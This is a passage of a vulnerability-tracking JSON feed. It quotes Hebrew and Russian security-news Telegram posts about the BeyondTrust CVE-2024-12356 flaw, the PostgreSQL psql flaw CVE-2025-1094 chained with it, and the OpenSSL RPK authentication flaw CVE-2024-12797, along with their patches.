\u05d5\u05d7\u05e6\u05d9...\n\u05d4\u05e8\u05d7\u05d1\u05d4 \u05d1\u05e0\u05d5\u05e9\u05d0 \u05db\u05d0\u05df \u05d5\u05db\u05d0\u05df\n\n- \u05d7\u05d1\u05e8\u05ea BeyondTrust \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05e1\u05d2\u05d9\u05e8\u05d4 \u05e9\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea CVE-2024-12356 \u05e9\u05e0\u05d5\u05e6\u05dc\u05d4 \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd. (CISA \u05d4\u05d5\u05e1\u05d9\u05e4\u05d5 \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05dc\u05de\u05d0\u05d2\u05e8 \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05d5\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05d1\u05e9\u05e0\u05ea 2024).\n\n- \u05d7\u05d1\u05e8\u05ea Sophos \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc 3 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 \u05d4-FW \u05e9\u05dc \u05d4\u05d7\u05d1\u05e8\u05d4 (2 \u05e7\u05e8\u05d9\u05d8\u05d9\u05d5\u05ea \u05d5\u05d0\u05d7\u05ea \u05d2\u05d1\u05d5\u05d4\u05d4).\n\u05d0\u05dd \u05de\u05d5\u05d2\u05d3\u05e8 \u05d0\u05e6\u05dc\u05db\u05dd \u05dc\u05d1\u05e6\u05e2 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9\u05dd \u05d1\u05d0\u05d5\u05e4\u05df \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9 \u05d0\u05d6 \u05d0\u05ea\u05dd \u05de\u05db\u05d5\u05e1\u05d9\u05dd.\n\nhttps://t.me/CyberSecurityIL/6274\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "creation_timestamp": "2024-12-20T11:32:34.000000Z"}, {"uuid": "ab164ba1-a03b-42fc-b137-d0e8fce64473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/6736", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 0-day PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0442\u0430\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 BeyondTrust Privileged Remote Access \u0438 Remote Support, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-1094 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,1) \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b PostgreSQL\u00a0psql\u00a0\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c SQL, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435, \u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e.\u00a0\n\n\u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00a0CVE-2024-12356, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e BeyondTrust, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 BeyondTrust (CVE-2024-12356) \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 PostgreSQL \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e BeyondTrust \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2024-12356 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e CVE-2024-12686, \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c PostgreSQL \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u043e\u043f\u043e\u0440\u044b \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Rapid7, \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u043a\u0430\u043a\u00a0psql \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0431\u0430\u0439\u0442\u043e\u0432 \u0438\u0437 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 UTF-8.\n\n\u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f\u00a0\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u00ab\\!\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2025-1094 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 CVE-2025-1094, \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0438\u0448\u043b\u0438 \u043a \u0432\u044b\u0432\u043e\u0434\u0443, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0435\u0436\u0434\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 SQL, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0447\u0435\u0440\u0435\u0437\u00a0\u043c\u0435\u0442\u0430\u043a\u043e\u043c\u0430\u043d\u0434\u0443 psql.\n\n\u041f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443\u00a0id\u00a0\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\u00a0\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 PostgreSQL \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0440\u043e\u0447\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e PostgreSQL 17.3, 16.7, 15.11, 14.16 \u0438 13.19 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0-day, \u043d\u043e \u0442\u0435\u043c \u043d\u0435\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 Rapid7.\n\nRapid7 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043c\u043e\u0434\u0443\u043b\u044c Metasploit, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f, \u0441\u0430\u043c\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 - \u043f\u043e\u043c\u0438\u043c\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb, \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0432\u043b\u0430\u0441\u0442\u0438 \u0421\u0428\u0410 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442.\n\n\u0418 \u0432\u0440\u044f\u0434 \u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u043e\u044e\u0442, \u043d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2025-02-14T11:30:06.000000Z"}, {"uuid": "dda6a01d-b410-4237-a17a-1711dba1a1a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/true_secator/6723", "content": "Apple \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c OpenSSL, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f MitM-\u0430\u0442\u0430\u043a.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u0430 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435.\u00a0\n\nCVE-2024-12797\u00a0\u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c c OpenSSL 3.2 \u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 RPK.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 RFC7250 (RPK) \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0440\u0435\u0436\u0438\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 SSL_VERIFY_PEER \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043a\u0430\u043a \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\u00a0\n\n\u0415\u0441\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442 \u043d\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u0441\u0431\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u0442\u0438\u043f\u0430 MitM \u043d\u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f\u0445 TLS \u0438 DTLS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 RPK.\n\nRPK \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043a\u0430\u043a \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445, \u0442\u0430\u043a \u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 TLS. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u044b TLS \u044f\u0432\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 RPK \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, \u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 RPK \u0432\u043c\u0435\u0441\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509.\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u043a\u043e\u0433\u0434\u0430 RPK \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u0437 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044f \u0440\u0435\u0436\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 SSL_VERIFY_PEER.\n\n\u041a\u043b\u0438\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043d\u0435 \u0443\u0434\u0430\u043b\u0430\u0441\u044c, \u0432\u044b\u0437\u0432\u0430\u0432 SSL_get_verify_result(), \u0430 \u0442\u0435, 